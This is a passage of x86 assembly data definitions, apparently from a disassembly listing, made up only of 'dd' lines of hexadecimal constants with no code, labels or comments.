		dd 7200E0AAh, 0EE382E2h, 3600A8DFh, 52B2BB05h, 1D2E0F62h
		dd 4F968B93h, 0C19F79ECh, 27B0EF9Bh, 6635301Fh,	0CBA64Ch
		dd 0AEFC498Ah, 18B7560h, 0F509EEC8h, 20EFE629h,	0B307B9D4h
		dd 23168EBFh, 0E7A4AF0h, 0DCF50C94h, 8C74D54Bh,	0FCA42109h
		dd 314380CFh, 4C33FB5h,	80FD1529h, 3E3C8065h, 351CEC33h
		dd 4C03448h, 0F7059972h, 10FEBBh, 1EB4D6Ch, 577084E8h
		dd 0AFD80E9Dh, 0D5DDA182h, 64C08933h, 0C2812C3Ch, 0EDD7003Bh
		dd 0FBD3D971h, 0BB4F7800h, 9E08C561h, 0D89C0334h, 0D06AF184h
		dd 0E8C2487Eh, 0C8C90B49h, 0C73938h, 64129ABDh,	9DD6E0CCh
		dd 54183E00h, 72DFC396h, 97A80008h, 840FD11Ch, 5B019283h
		dd 0E8DC21Eh, 0C1F05825h, 9D7100F6h, 0C0663AC4h, 1C079527h
		dd 9E537060h, 77F62EA2h, 3E647160h, 9118157Bh, 0C4183F74h
		dd 496B01C9h, 51E68809h, 222CC47Dh, 558139h, 7EC78394h
		dd 79284Bh, 888A174Fh, 1A65545Fh, 0E93EBB00h, 5A3D33FEh
		dd 0BFFA0006h, 8EB1E0Fh, 0FD00194Ah, 0C9EA92A5h, 717D5Eh
		dd 0D772E9CBh, 2D0C1E99h, 0D2AAD300h, 2789F7Fh,	0D4D0420h
		dd 83271658h, 0FDD9F428h, 5D83F068h, 0ED455100h, 0EBC67061h
		dd 9B9D002Dh, 12AF0AFBh, 0EF01592Eh, 0EEFD3EA4h, 9C30CA14h
		dd 987C01F8h, 0B0BFFF8Dh, 0FCB0D393h, 973E2AAFh, 0CA1780ADh
		dd 0D11E561Dh, 35F9F13Bh, 5D5B0F8h, 0DDFB2004h,	7030E041h
		dd 63977F00h, 0EA5D59A5h, 867940h, 54A4B9AEh, 7A7E7BC6h
		dd 2B3AA300h, 0C49F221Ch, 857CC8h, 0D78A780h, 57C16064h
		dd 9F953238h, 0C8079423h, 0C66049EFh, 1A0EAD8h,	7A515BA8h
		dd 2E7F55A4h, 7708427h,	6A8440h, 7ABB2167h, 5842D0CAh
		dd 1C02714Fh, 40A64AC4h, 1D15B3D8h, 9D7CCAA7h, 33D7406Ch
		dd 960DDD7Fh, 43AC0E50h, 930542F8h, 0B40CEBE7h,	0F5838000h
		dd 1E792C08h, 0C0E00DBDh, 0EAD1293Ch, 0E8ECFDFCh, 2DDB804h
		dd 8892C3C5h, 0B6EBC2FBh, 0DBCB0264h, 95F38841h, 56504DE0h
		dd 0D770A81Dh, 480085E6h, 0B427A9B5h, 0DCE600ADh, 2E6C42C9h
		dd 0C60034E1h, 9746CA85h, 489C3CC4h, 0E200543Eh, 3F1F8014h
		dd 81355AEh, 2AE675Ah, 0E599EE98h, 0E7F54A40h, 121AB600h
		dd 48B38040h, 0F6C87132h, 0C55300DDh, 7C4BCA70h, 3F00FF24h
		dd 72063BEBh, 0BBA7E6h,	491BF0A0h, 92964546h, 0BF371300h
		dd 0C0B06031h, 80E207A5h, 40DDD270h, 0EF91F26Bh, 10F71101h
		dd 4E790C15h, 1AFA20h, 20B99FBCh, 0E8FA2896h, 0F0984150h
		dd 0B6BDBAC0h, 4D63053Ah, 0F700A002h, 23C61538h, 0DCE733EFh
		dd 187324E6h, 0FF87F500h, 907D469h, 0AE740054h,	0CEBC7876h
		dd 38001CE7h, 15249ABBh, 6C8DAAh, 94B7EE7Fh, 0B30FFA82h
		dd 2C91E05h, 3F80E767h,	0A18F2Ah, 0D9B75277h, 648D30A5h
		dd 80EABD00h, 3B217F6Eh, 9D103849h, 0C1D7A380h,	0EDB0E097h
		dd 0C8009570h, 0A05CE716h, 2734D26h, 2EEA28F0h,	0CC60EE91h
		dd 0BA001D42h, 97E16B46h, 36F1EC2h, 0A2EAD538h,	0ADFBF578h
		dd 26BEDBB8h, 9A43E701h, 0A66D19E1h, 58C7B5E8h,	0F500DA8Ah
		dd 7C4257FAh, 0A900CCFCh, 0C0EE039Eh, 505AF4F2h, 1680F41Ah
		dd 91F659h, 0FFE6FBD0h,	0F010EFCh, 18C5C4D1h, 0B48C8BE1h
		dd 2B5A5A47h, 39BBF402h, 4022C9BEh, 28E080h, 330BE7D6h
		dd 4B67AA35h, 0FA705500h, 0A1BD29B1h, 3B0A0136h, 0B4666E78h
		dd 5E23F4D1h, 0C1BCD424h, 0C207AE0Bh, 0C88C4044h, 2B750050h
		dd 0F2CDCA0Bh, 9A2C3BEEh, 77003431h, 0C6605799h, 0ED240025h
		dd 0FB95D744h, 0E2308B9Ah, 0EFEBB6CBh, 0F83D00F2h, 1C77AE05h
		dd 0F43CE31Ah
		dd 82490FF9h, 17FB074Ch, 0ECD8B200h, 68661C47h,	398ECFC0h
		dd 6C4F7700h, 0E8A3079Ah, 823AC9C9h, 0D6B4371h,	6AE760B1h
		dd 8C2200C5h, 0AC0985B8h, 0C000997Eh, 0AEA5D6F5h, 9F90A9h
		dd 0A66CED9Dh, 0DD7A8777h, 0B801DC96h, 0E62262A0h, 1A14E20h
		dd 0FF64032Eh, 0F8BFC3BAh, 0B101DB02h, 0C2CDE1CAh, 0DFFC5706h
		dd 0F55600E8h, 3F545C4Eh, 0EF00478Dh, 37D18E20h, 0AD2967h
		dd 578F6014h, 0A0E7DAE9h, 0FB16A90Eh, 0AE5C83D1h, 887CB3CDh
		dd 2CD675h, 807F5B8Fh, 20E9B45h, 8C113600h, 47A90A04h
		dd 2F470CFh, 96F0CBCDh,	4D402ECCh, 0AF003FEEh, 0E66BC7F8h
		dd 0E2651CA9h, 0ED8D0076h, 5BAA7B22h, 46279FBAh, 40E8001Fh
		dd 715C54BCh, 0A0DE0073h, 0F875F0AAh, 0F3051ABDh, 65DA4D71h
		dd 9248A0C1h, 95FBB6E4h, 21FD1800h, 2E0FD5EFh, 60A1237Ah
		dd 327F469h, 0E907946h,	62A4E318h, 0C5F0B00h, 59075309h
		dd 519B9441h, 47F8404Eh, 25E144h, 5DA5D3BEh, 4EE83527h
		dd 50093E1Fh, 0B684AF00h, 562E0Ah, 30BC5DD1h, 0EA7DB363h
		dd 377B1007h, 2CF08598h, 98D9EC3Fh, 0D3CD3BFBh,	0F2C73580h
		dd 84A5D2B4h, 0B8AF3D00h, 20A76FFEh, 2E4C26EDh,	483A0050h
		dd 0F42635D8h, 78298B16h, 9A677C00h, 39B90CBDh,	6501F1B5h
		dd 0E0D235B6h, 9410C8C9h, 0C78C8F9h, 5F7AC1A0h,	0D43AD91Fh
		dd 0DBBDF2C5h, 0CEA32400h, 3C668h, 632FD808h, 0BE674A3Fh
		dd 0A481E84Eh, 98BDAA40h, 0A61FE640h, 0D54574B9h, 10B098C9h
		dd 0EEC416CDh, 0AC1A0060h, 0D377A211h, 73015FF8h, 0A4D82B66h
		dd 0C8F8A11Dh, 8C890013h, 0C4EB3D2Ah, 9258B886h, 7809005Fh
		dd 0B6F1A961h, 0D93F031Dh, 0DD9D7FB0h, 94131780h, 0B2DA6A01h
		dd 3D317096h, 150FC8h, 297E21A1h, 3412DE13h, 8D00A4EEh
		dd 7ACEB9CBh, 3DB7CC5h,	0FA3AE7A8h, 0ABF8720Dh,	7400DD77h
		dd 24DCD9E2h, 31C2E7Eh,	9E9587AAh, 0F6E10EC9h, 17C520AEh
		dd 61EE1100h, 3E69D68Bh, 77B305CFh, 0C0988ADBh,	5E283575h
		dd 0C4A3BD2Eh, 344FD91Ch, 0B5C9A059h, 30827ACCh, 0E4105A63h
		dd 28C4D083h, 24E0D780h, 0A63D06BEh, 0A8F21927h, 0A2A35D00h
		dd 3546122h, 0DA2400F8h, 38EF32FFh, 473A2D0Eh, 49C30431h
		dd 148222D4h, 809C701Ch, 316B0E4h, 0B1F25D1Dh, 0C0D3446Eh
		dd 0A1DA88B8h, 0FBCC9E00h, 0CF57E6A9h, 5A70373Dh, 0D39D201Ch
		dd 0D928148Ch, 0AC03A974h, 0C367EB47h, 0F4B0EECAh, 159071A7h
		dd 0F88999E9h, 8E14500h, 6DF0B6FFh, 6EF83A09h, 171820BCh
		dd 2DA3C5h, 51D8C22Eh, 30D02C92h, 0C90E5200h, 4045A73Eh
		dd 913318E7h, 0D0E85066h, 489079F0h, 0EE43DF30h, 7CB1B913h
		dd 50FD3D9Dh, 0E177E280h, 0BCCAD993h, 8A64A0A8h, 0DBF0F204h
		dd 68932B59h, 7BE1C877h, 0B85E1E36h, 0CA014EFFh, 0CECB50C0h
		dd 0F807F0C0h, 0EB1A7290h, 0C3AADEB1h, 7374B980h, 0DF9DE74Bh
		dd 370ABB05h, 2C03BCB9h, 0B9319816h, 3180BF6Dh,	89A40C7Eh
		dd 0E3074C51h, 0B8E7EB56h, 0E11AA591h, 0EDA092h, 0FBA6CF60h
		dd 95007137h, 560CB969h, 3CE834h, 24589CC0h, 7B6F6782h
		dd 2306A4E6h, 2A9AF8E3h, 7E600079h, 0F224D49Bh,	796ECBFBh
		dd 8F165658h, 52B9F841h, 0E0FAD748h, 589333Ah, 9FC768DEh
		dd 4268A05Ah, 4B003E7Dh, 78D66B3Ah, 1FA07DFDh, 0C2A132B6h
		dd 33DEE05Ah, 15C9D840h, 15D4962Ch, 89528038h, 0E3372DE6h
		dd 0CE445821h, 5EDDAD00h, 2367FBE8h, 0F9705900h, 93CB8B54h
		dd 574F0771h, 3C96CC10h, 461D9431h, 49405EFAh, 0D1F1588Ch
		dd 0FD4F00BCh, 1071D63Ah, 0D20014E9h, 23773311h, 4DEE66h
		dd 39A182F1h, 283EAD03h, 59D8A900h, 6ED1E4DEh, 0B2BB078Dh
		dd 93050BAEh, 93D01276h, 700E8B4h, 491FBCEAh, 0C910D59h
		dd 0F53890E0h, 0BA00EE38h, 36634780h, 0F99BFA9h, 65825E84h
		dd 2EDC6221h, 7666E0CFh, 68E60930h, 0EEDDF15h, 0F0AD0ACBh
		dd 0BE60C7AFh, 4D213E6Dh, 6B862600h, 4B77EB2Dh,	8F440057h
		dd 6399A29Bh, 0C60147BEh, 2142CDBCh, 67E405CEh,	0F0E71C4Ah
		dd 0C1C93053h, 7B18B314h, 6A10DD52h, 11D00033h,	0FF9350CBh
		dd 0E201B924h, 5C650EC5h, 0FCD044EFh, 198700A5h, 300CC041h
		dd 0E61BA10h, 0DCC204B1h, 79D7D0h, 0F7BCA052h, 25DA069Dh
		dd 55F11F03h, 98EE7243h, 649C4Bh, 34EF14F5h, 0AA6D520Fh
		dd 0F97F5900h, 2FBC7C3Dh, 0BEE900CDh, 9C93C444h, 3300F7F1h
		dd 864F366Ah, 26A865h, 0F3625D2Fh, 2A159F14h, 85AB350Eh
		dd 21BA8C2Ch, 0F3170313h, 0B4693C8Fh, 0D1C804B8h, 0BC886800h
		dd 2E995EDFh, 0CE870085h, 0FCF38EEDh, 31D7B60h,	71091EC7h
		dd 91B0006Dh, 16F79EC4h, 1C3D8770h, 3EB1C08Ch, 14396ABBh
		dd 7723F800h, 1CFBB9C6h, 6302075Fh, 0E0531A10h,	0C4320B66h
		dd 0EE26B026h, 0F54DFC01h, 0A080A944h, 3BF0D458h, 5101650Ch
		dd 43E7D1DBh, 0E3156Ah,	0A2368C20h, 84EF34E0h, 0ACAA9F03h
		dd 0B88A7F43h, 0AF2823h, 6D7D9B09h, 6F6E1CCCh, 669A3600h
		dd 3248CEB4h, 16690099h, 11074CAh, 6B00422Fh, 4BC9A3A5h
		dd 5104B4h, 0FB4CBBF6h,	0ABCFBF9Ch, 86955017h, 40C500BFh
		dd 979BD8ADh, 13FF030Fh, 0EB409E09h, 4B58BD20h,	56E261h
		dd 0B24DB8F2h, 9A33C563h, 0E98BAB00h, 0D9FB23DEh, 2674C9h
		dd 0EBA0117Bh, 48FA73ECh, 9C7D6700h, 5F3DEE46h,	0A7898h
		dd 56442305h, 2EACE0A6h, 0B8FE833Bh, 90C7C79h, 706EAA7Dh
		dd 0CCB30391h, 68B43833h, 19702BC3h, 1CF88409h,	0D3438089h
		dd 5EB130h, 6883C2A1h, 3D792175h, 1CDAC900h, 50A57460h
		dd 0E89000DCh, 91E7F338h, 0E0B7949Fh, 3A3678Ch,	35BD23EBh
		dd 283E3F65h, 4250809Ah, 5FE0DA0Dh, 95B0C01Fh, 363A137Dh
		dd 0F2C53300h, 0EB048D60h, 0EC60014h, 52FAB11Eh, 9C1C1B6Eh
		dd 0EE03E543h, 90442E5Dh, 3E076FCh, 50B47ECCh, 8DE04361h
		dd 66F8152Dh, 13808600h, 36EA1FE8h, 97081881h, 0B17DE84Bh
		dd 89113000h, 0D01A5EB7h, 0A0FFFA34h, 38BBEACh,	1F02B690h
		dd 0A0D9E06Ch, 0FFA02BFCh, 0A5053E11h, 5B7B007Dh, 9A81D954h
		dd 6862B861h, 95AFA611h, 4FA08304h, 9CE0A70Dh, 2A009FCEh
		dd 0E3824163h, 91E7B69h, 0FE72EFEBh, 0C2EBA00h,	0CC1896D0h
		dd 762829E6h, 7A49008Eh, 0F70203FDh, 0CF00F3E9h, 2104A0CEh
		dd 7248CCF9h, 0DCA10085h, 89D9A52h, 2303400Eh, 0B1FA38DBh
		dd 677090B8h, 8BFE0381h, 9D8DEFEAh, 85725C6Eh, 0A680220Bh
		dd 76371Ch, 0E9FBB686h,	0D5A0B72Ch, 63164670h, 0CFA07C38h
		dd 435E0BA7h, 0E6808F0Ah, 0D0B6957Bh, 0DFC05000h, 0A42FB094h
		dd 0A80500ACh, 0F162650Dh, 1C0B8541h, 0BE8E10Eh, 8B300080h
		dd 82FBB3h, 7B10A8F5h, 0FC4A099Eh, 0E2069F00h, 7D758A0h
		dd 0A1B3011Ah, 540A51CFh, 3F79C8BCh, 29097400h,	0DA2A7EBh
		dd 211200C6h, 632FBB5Eh, 0DF07B5B8h, 92967B9Ah,	61CFA5D0h
		dd 15870022h, 237ECE14h, 5D002CB9h, 0F3271ECCh,	0CA06F7h
		dd 0A39EAFC6h, 7DE11D93h, 0D7007A76h, 77058213h, 0AABB1Ch
		dd 345C326Ah, 1A4CA0F1h, 8EF73E0Eh, 75EE2031h, 1463CE6h
		dd 8254E29Bh, 20A91C7Bh, 0CE03A500h, 0E31E147h,	88458018h
		dd 0D14D1F40h, 8577DF32h, 80BD9479h, 73555772h,	0FF0049F4h
		dd 0AB879795h, 0BE022h,	21BFF329h, 24C6BB12h, 9F17DCA0h
		dd 3CABD44Ch, 1699247Eh, 0E9A99000h, 133375A7h,	661BE6h
		dd 0DE405BF7h, 67008431h
		dd 0DF14E72Dh, 0F4E96261h, 0F8121EE4h, 4CA8C093h, 74A6E6AEh
		dd 0FB630700h, 30BB72F1h, 0EEB09Fh, 0B58750D3h,	0BDAF4689h
		dd 858A301h, 109D49A6h,	532AFCh, 91909745h, 49E8F23h, 0B75BB90Fh
		dd 125103D8h, 7792C8B5h, 162E00F7h, 60EEE0Ah, 8E00E453h
		dd 2AD97F6Eh, 7095B7h, 21655D99h, 29CE3076h, 30974F2h
		dd 803664B8h, 7D417C1Ah, 1BB6001Eh, 58661A05h, 0DD38E81Dh
		dd 51077540h, 0EC71392Fh, 5643FF9Fh, 0FE17CDBDh, 0C1160058h
		dd 0A96CD06Ah, 0E2F0F9FCh, 3D88B48h, 2FB3D236h,	0C0280090h
		dd 1E152156h, 0CA013144h, 0D711EE95h, 6D303CF0h, 0E9AF0049h
		dd 172C8BE6h, 42E869DFh, 5B8A0300h, 85DD9B51h, 58D50F93h
		dd 4940838Dh, 97AF5433h, 0ED00C7FAh, 32DCF0F3h,	545E0h
		dd 0C6D69D59h, 26168055h, 34F856F2h, 644E5404h,	0ACC0B05Ah
		dd 989327Ch, 0F1438368h, 69E83080h, 0BF3A27C1h,	87AC816Fh
		dd 5B71D0A2h, 8CB470h, 7D661F82h, 5EB691D5h, 3BFD5D03h
		dd 8054682Bh, 37334h, 0E2C4927Eh, 80EAC061h, 3E147101h
		dd 6F7607A2h, 30253320h, 0C2700D72h, 3008F43h, 7E016B89h
		dd 139BE3A4h, 7A42F6h, 522F70BCh, 613CD0F5h, 9C390095h
		dd 0F02CB658h, 0FAA307A6h, 0E73810FEh, 3BAC7320h, 343C9F90h
		dd 520B7E1Dh, 86CC480h,	942FFDh, 0B3B1024Bh, 96E7A480h
		dd 5ECD601h, 84E83CBh, 9EA3FCh,	0F78E543Ah, 1AE57E0h, 6E33090Eh
		dd 3F278041h, 63AA4Fh, 0B91E99EBh, 4C4D2D0Dh, 4B00BEEAh
		dd 0B0593D55h, 4CB23640h, 762A73FAh, 7754CACh, 3CDF632Ch
		dd 4A0060CCh, 7216977Bh, 0A50101C5h, 95A0EEF2h,	51E8A3F0h
		dd 9B910052h, 1A1B0883h, 80E2B274h, 9E3B5F01h, 0ABFFCFC0h
		dd 1E152C20h, 0F21E25h,	0EE4D5E3h, 1103B66Dh, 6224C294h
		dd 0A87EF333h, 7B63BE17h, 66C30086h, 2A7F57CFh,	5BB0BDA7h
		dd 30432909h, 4CCA03B3h, 0D57CC86Bh, 0C5320052h, 36CE4481h
		dd 0E7016F5Dh, 0E20BF3ACh, 0E87047A7h, 0D7220539h, 90A675A4h
		dd 16309068h, 7002498h,	6F2C9ED9h, 0B09D7BA7h, 4CD47485h
		dd 5800DE5Ch, 0A6F13503h, 73E06EEh, 9C4A388Bh, 69001B77h
		dd 0C3743A8Ah, 0D7DA00A0h, 0EA70B83Dh, 833A61FFh, 69D29D30h
		dd 2325EF80h, 111F24h, 0FB704E7Fh, 392A36F7h, 3262C000h
		dd 0E10A6ACBh, 0FC4D4C64h, 0B874D90Ah, 8AFB14B5h, 31EF07Ah
		dd 0A609CBDBh, 488859F1h, 77005249h, 94690EE5h,	0F23DA487h
		dd 31260097h, 0AD999196h, 0D000E093h, 2AE1C35Eh, 2F205BBh
		dd 84771335h, 8980BC37h, 86389D8Ch, 264EAA00h, 0A4B6A75Ah
		dd 783F7D2Eh, 0FB810146h, 7A97E7B4h, 2054E095h,	0A4CF1006h
		dd 0F0B0522Bh, 1C39F078h, 0C0B38007h, 436936B1h, 0D1F0FE73h
		dd 1F889A02h, 409D7164h, 71D2BEB9h, 0EFDE1ED7h,	630AC0B8h
		dd 0F38135Bh, 78A0C900h, 0F5E62FA9h, 1DE4E46Ch,	7FA543h
		dd 0F3F7AE42h, 0CB006A9Ch, 86BFBC5Ah, 98A4B7C9h, 56401E68h
		dd 1D7F402Ch, 4DCF36FCh, 8D713490h, 0C81F4C0Bh,	92F5077Dh
		dd 2E9A70A9h, 0BDAA722h, 0A5003D48h, 0EEFE9587h, 580424Eh
		dd 0F249D0A3h, 674B00BAh, 9BF927ABh, 0EB0062D3h, 653F8134h
		dd 1C28C0A5h, 80430F96h, 784AAAC4h, 12120EAEh, 74F84B30h
		dd 0F95FB700h, 0FE4E9FA8h, 0DE01B472h, 8F7247EDh, 28D81FD5h
		dd 6B3600C9h, 86D44456h, 0B92C895Dh, 7C010B0Bh,	9B45DA8Fh
		dd 74CEA03Eh, 0EFD3FD00h, 48A60D3Dh, 253102C1h,	43990FE4h
		dd 0B94FE840h, 4D35FC00h, 75F514C2h, 5BEC01E2h,	4353FE66h
		dd 6D4660D3h, 95D92317h, 8CD814h, 0FE5CC5C3h, 465CCh, 0E8F41374h
		dd 0FB316C2Eh, 51AE25h,	897DB608h, 26E139EFh, 0E3DAB800h
		dd 3B4FF7DFh, 2F5F3401h, 0A463F512h, 26EF65D4h,	154595h
		dd 330D50A6h, 0BE903A8Dh, 5BE2170Ch, 0D8C4C6h, 53C6F54h
		dd 0EA4C0E86h, 8EF6C002h, 4850FDD7h, 75268Ch, 9F8037CEh
		dd 8CE5B64Ah, 6D43F900h, 39D3E452h, 3DC61EB2h, 64FEC1CAh
		dd 8F5A41C0h, 60992F60h, 4A6705D3h, 0E61A00E4h,	8AEDCD37h
		dd 0F657F71h, 90C78729h, 7AF2D5C0h, 81A030A7h, 14A9AF18h
		dd 0E4E21D03h, 0C15BBF75h, 67E15809h, 59201ED3h, 3A612CA8h
		dd 650B60BCh, 0D107DB86h, 496C0024h, 6100703Ah,	0E920378h
		dd 0A73F8Ah, 27558B2Bh,	7E25ECC5h, 0F34F720Eh, 77005F1Dh
		dd 0C17638DEh, 0A4ED16A2h, 8A010083h, 34219373h, 7F19F213h
		dd 0A2CB4306h, 0FB31819h, 75816190h, 0EE426500h, 0C6AAF217h
		dd 0F5A5588Dh, 247C6414h, 4EC84200h, 51E2F7BAh,	70760D1Fh
		dd 9F7F073Dh, 8810D371h, 0C41092h, 0E97DEC12h, 0F28CD728h
		dd 0DF34D100h, 6BA672A0h, 1A960719h, 0F012A4F7h, 7E0AF073h
		dd 323E5726h, 9674983Dh, 0F56B98h, 4946D5F3h, 1E04CBE2h
		dd 82CEB00h, 67B729FFh,	181C004Bh, 20F2F335h, 0CBFAA624h
		dd 0C008EA0Fh, 0EB4CE0EEh, 6BC122h, 511F7F3Ah, 424F18A5h
		dd 7C613930h, 0BF43E93h, 59DEE610h, 0F11AC886h,	8F14A475h
		dd 0DF165Eh, 0D7D5467Fh, 1DA032BCh, 405BE5B1h, 0E9E22202h
		dd 0DA73A45Ch, 3F7A4400h, 0BE88D5D4h, 0DD700017h, 6DD8402Ah
		dd 96FAEA90h, 14D97100h, 0A94256F3h, 5CC7BA1h, 0E137DB49h
		dd 0D6203847h, 7B0F6F46h, 7E9D0F21h, 58028C01h,	801AB14Dh
		dd 4CD75650h, 0C81131Bh, 1C18D053h, 501E4118h, 40C0E912h
		dd 7AA4297h, 627200CAh,	0D3B522ADh, 2918BE0Dh, 2E1009D5h
		dd 0EA600085h, 661E68F7h, 23605DDBh, 0A6F4D508h, 0E08603B2h
		dd 3F2BE7BFh, 1BCBF3E8h, 0F68E2606h, 3A284B3Ah,	7828C27Ah
		dd 74090FADh, 0D640BE90h, 0D548B246h, 0A661D0Bh, 311200D8h
		dd 0BF7B02h, 2AE4B4ABh,	0F25062ACh, 0AEFC5673h,	0B8050730h
		dd 53290Fh, 0C469F3B4h,	56FA0B22h, 0CD1C80AEh, 0F31DD180h
		dd 639440A3h, 32B0729Dh, 38225Ch, 515AC7C5h, 50A119B1h
		dd 189EF03Bh, 0B4403329h, 0AD0EF5D5h, 20646FFAh, 11FBF715h
		dd 0D16D00EFh, 0D9B43CE1h, 0DB018FC1h, 673B1D52h, 1D305CF8h
		dd 76057A59h, 0C34C0137h, 0B8898D6Eh, 1C204FDEh, 1A06B66h
		dd 0FFF1AA49h, 0C5F58311h, 344DCCBCh, 34AB5E30h, 0E7F62AFh
		dd 0C72B9258h, 3DCB9640h, 873F1348h, 443CFD17h,	8C5A8706h
		dd 5730F118h, 3A746CA5h, 0EC8B11EFh, 79000389h,	0D62DF2F4h
		dd 202EBC00h, 756A0A39h, 18E60115h, 389A5A3Ch, 8149E49Eh
		dd 0C4C27C00h, 6256D87Eh, 10050ED2h, 3CA0E6F0h,	0F145D14Ah
		dd 0FC035CB0h, 3D798C5Bh, 580800F6h, 0E6DE7129h, 810F07D4h
		dd 0A0148967h, 0BDB45D47h, 7927756h, 873BA9C3h,	0ED8EB030h
		dd 2D002F94h, 4725F139h, 49341Ah, 4FD37617h, 84DD155Bh
		dd 0E6FADC00h, 8BAEE980h, 9592005Fh, 6AFFDA34h,	0A50020B3h
		dd 0C59FF78Fh, 14741498h, 9C7EC0EEh, 4D601D00h,	2E303F04h
		dd 29415100h, 5B730E9Ah, 0A9BE03A5h, 3A1FEE8Fh,	62677000h
		dd 419E2E5Ah, 7D6B0491h, 0C76FBBEBh, 0CCD2B00Fh, 0E5015C69h
		dd 6D023DE8h, 3FC4C914h, 0DAA00AB1h, 8B5E03h, 0ACC1A743h
		dd 2200E015h, 1FC7F20Ch, 305269Ch, 0E5EE4C7Ch, 76E8AB96h
		dd 9876145Ch, 0EF0D3901h, 3CD63DBDh, 0B571DCh, 0F3D3167Fh
		dd 54DB0137h, 47C5EE00h, 8A817E88h, 0EBC0092h, 97C2B3D3h
		dd 3700FCBDh, 0B25EF43Dh, 0FC7BFFBh, 0FE0F8103h, 3AC7C58Eh
		dd 6DCC4306h, 1E968FE8h, 0B009B7Fh, 21AEF836h
		dd 3747A19h, 0DF1247D4h, 0EBB4A40Ch, 8184A500h,	9FC785h
		dd 467C21B9h, 84DAECFh,	0E6005977h, 0F6E789D6h,	40B3Dh
		dd 0E301B588h, 0B69837E2h, 9680DD60h, 0E1E76DBh, 91EF46AFh
		dd 0C8F700B2h, 0D6B5E93Ch, 60472701h, 2C47E8Fh,	0E0E7AD4h
		dd 2A35F45Ch, 42F0F878h, 6B00CEE4h, 44B2FEE7h, 3B66F932h
		dd 0AF80DAA6h, 43B195C4h, 9C037EEEh, 0C5EF2F0Eh, 0E183C089h
		dd 0B3E7009Ah, 37496E9Fh, 3E00E97Eh, 95156FA2h,	791B23h
		dd 70666196h, 0EA19EDD2h, 3FFDE51Eh, 6880365Eh,	0B90EE110h
		dd 0B493009Ch, 0E0FB2734h, 0EF3CA153h, 0D6A880F3h, 0EC4D2D86h
		dd 0A6170F75h, 0B87D937h, 2796E089h, 40007F8Ah,	0FAA38F38h
		dd 7C0DEC8h, 8BBCA678h,	37F8C0CDh, 811EAF3Eh, 6F1F635Fh
		dd 2F3A940h, 8757CFh, 3A555B6h,	0C0FD210Ch, 56670B00h
		dd 0EE73F5F3h, 0FFBF0074h, 7053A2DEh, 4700A4A9h, 49FA4894h
		dd 720E8076h, 0D07A3C5Fh, 0DC187B0Bh, 1400CFD6h, 894A2A46h
		dd 73B400B6h, 9B348826h, 9A008159h, 0D24E3ED7h,	3D28F0D4h
		dd 0A2006C13h, 0EDE206C2h, 0B000FA70h, 311D80DCh, 0FBB9838h
		dd 9C3B158Ah, 8139AA45h, 20665FCBh, 7F00546Eh, 0D7A2BBEDh
		dd 31285Ah, 8699BD3Fh, 66D1A335h, 2716341Dh, 1CEBF182h
		dd 0D2CC809Fh, 8F0D65h,	9D0C1791h, 0B8E256D1h, 3251580Eh
		dd 2FAEA0A3h, 54D8Eh, 6D8492FAh, 0AFDCE019h, 0F3CC9907h
		dd 0BF90E4FFh, 0A0748743h, 846080h, 23E50912h, 3E7FEC06h
		dd 0A7916112h, 0EE29B400h, 3A417CC9h, 8580C148h, 5F35221Fh
		dd 0B100CC56h, 0D7A33D54h, 0D65AFAh, 0ACC8E42Dh, 7E681E97h
		dd 0C6CA000h, 0FFA52952h, 0BFA40C98h, 0E7787B72h, 0E6C1C700h
		dd 0A51554BCh, 0DE8A002Eh, 0C8A86E63h, 8C07915Dh, 0C9F40517h
		dd 2B64B090h, 0FFA300B2h, 0AB4AB150h, 201E4168h, 5CC1C1F6h
		dd 0F90D6278h, 90C93FD4h, 0FDF20045h, 0FBF5E1C3h, 8A1D5A14h
		dd 2940FF7Eh, 84CBAFCFh, 151E436h, 0A630C027h, 0D133262Eh
		dd 642187C6h, 99A0AD0Ch, 1F6B9BCEh, 0C3BFF023h,	0D61CD7A7h
		dd 4DA141B8h, 4A811600h, 0DB19EF8Bh, 80F8F6h, 0B1A7D5B7h
		dd 492C3A1h, 51536D00h,	55EB8BA2h, 0D0F6019Ch, 7DEAA902h
		dd 0AA6BD0DBh, 555FD883h, 74BE256h, 0CCB27233h,	0D56BC357h
		dd 1E657EB0h, 0DC60F450h, 27338108h, 0CE12C2D0h, 81B2EA00h
		dd 0F5060059h, 1FCF0307h, 7C0672ECh, 24EFC6E9h,	11D01B58h
		dd 448830CCh, 0E3CCFB9h, 3E1F7565h, 0AE804FF6h,	0F39BF706h
		dd 7B6C0080h, 3D9EE492h, 40147E85h, 3948F5A4h, 275E0423h
		dd 51333338h, 90E7C130h, 30A2747h, 0F60EFC43h, 4B90E824h
		dd 0FF2E93BEh, 161C618Ch, 4D2EEB43h, 6740C0D5h,	319C0010h
		dd 5696EF35h, 0C0C0F2B1h, 8B7D54D6h, 0F9720Fh, 0A001C2E0h
		dd 68352A0Bh, 61C06000h, 82813E94h, 5D160152h, 992089CDh
		dd 0EC04E8E3h, 363AAC00h, 68418F02h, 0C7BC00B7h, 76F2A7F3h
		dd 0BB015391h, 0E1F1299Ah, 0D6DD9507h, 756FCCCh, 0AF5215A4h
		dd 6FF2E19Eh, 0D462FC03h, 0E581A701h, 0FB2872ACh, 50B620h
		dd 0A25DF2BFh, 246AC8F1h, 34819409h, 0A9805F8Bh, 4292999Ch
		dd 2018DF03h, 0C08E5774h, 0FC0C77h, 0CD6414E3h,	0C7B90D56h
		dd 0A2E51830h, 90A29h, 68CA2AFCh, 0A1405A5Fh, 0FF197700h
		dd 3B81A446h, 0AA8F00D8h, 0A39274A6h, 5AF8412Fh, 0BB70B800h
		dd 0B9E3BC1Bh, 94600703h, 0C022D455h, 8B0E02Ch,	57F2FC7Ch
		dd 0FD74FF17h, 3A649401h, 9D11CDCh, 0FB037880h,	1FF880BEh
		dd 0A52DEF00h, 64D974Eh, 0DE9E06D5h, 28227C3Fh,	0F60C7400h
		dd 0CC084939h, 1C10C007h, 2F6A6372h, 2890D403h,	91A92B7Dh
		dd 0F8803982h, 0D1ED9C8Ah, 0EE059B78h, 4A02EBE6h, 49578300h
		dd 548F98h, 87C08D1Fh, 3BB3516Ah, 8C5D821Fh, 813F0680h
		dd 77E62D65h, 0C46CA596h, 32A261F6h, 1E8DFC4h, 94C08C45h
		dd 88907A26h, 63F3C851h, 85D0FDD3h, 9342A18Dh, 0FF55E780h
		dd 0B200E00Eh, 0C513A950h, 2239362Bh, 1A004E42h, 2FCA0C84h
		dd 1CAD20CDh, 8076B556h, 5B628746h, 540016A0h, 0AE1D36Ah
		dd 206728h, 77C9B9FDh, 0A63A4F6Fh, 95BB6000h, 977E9C5Bh
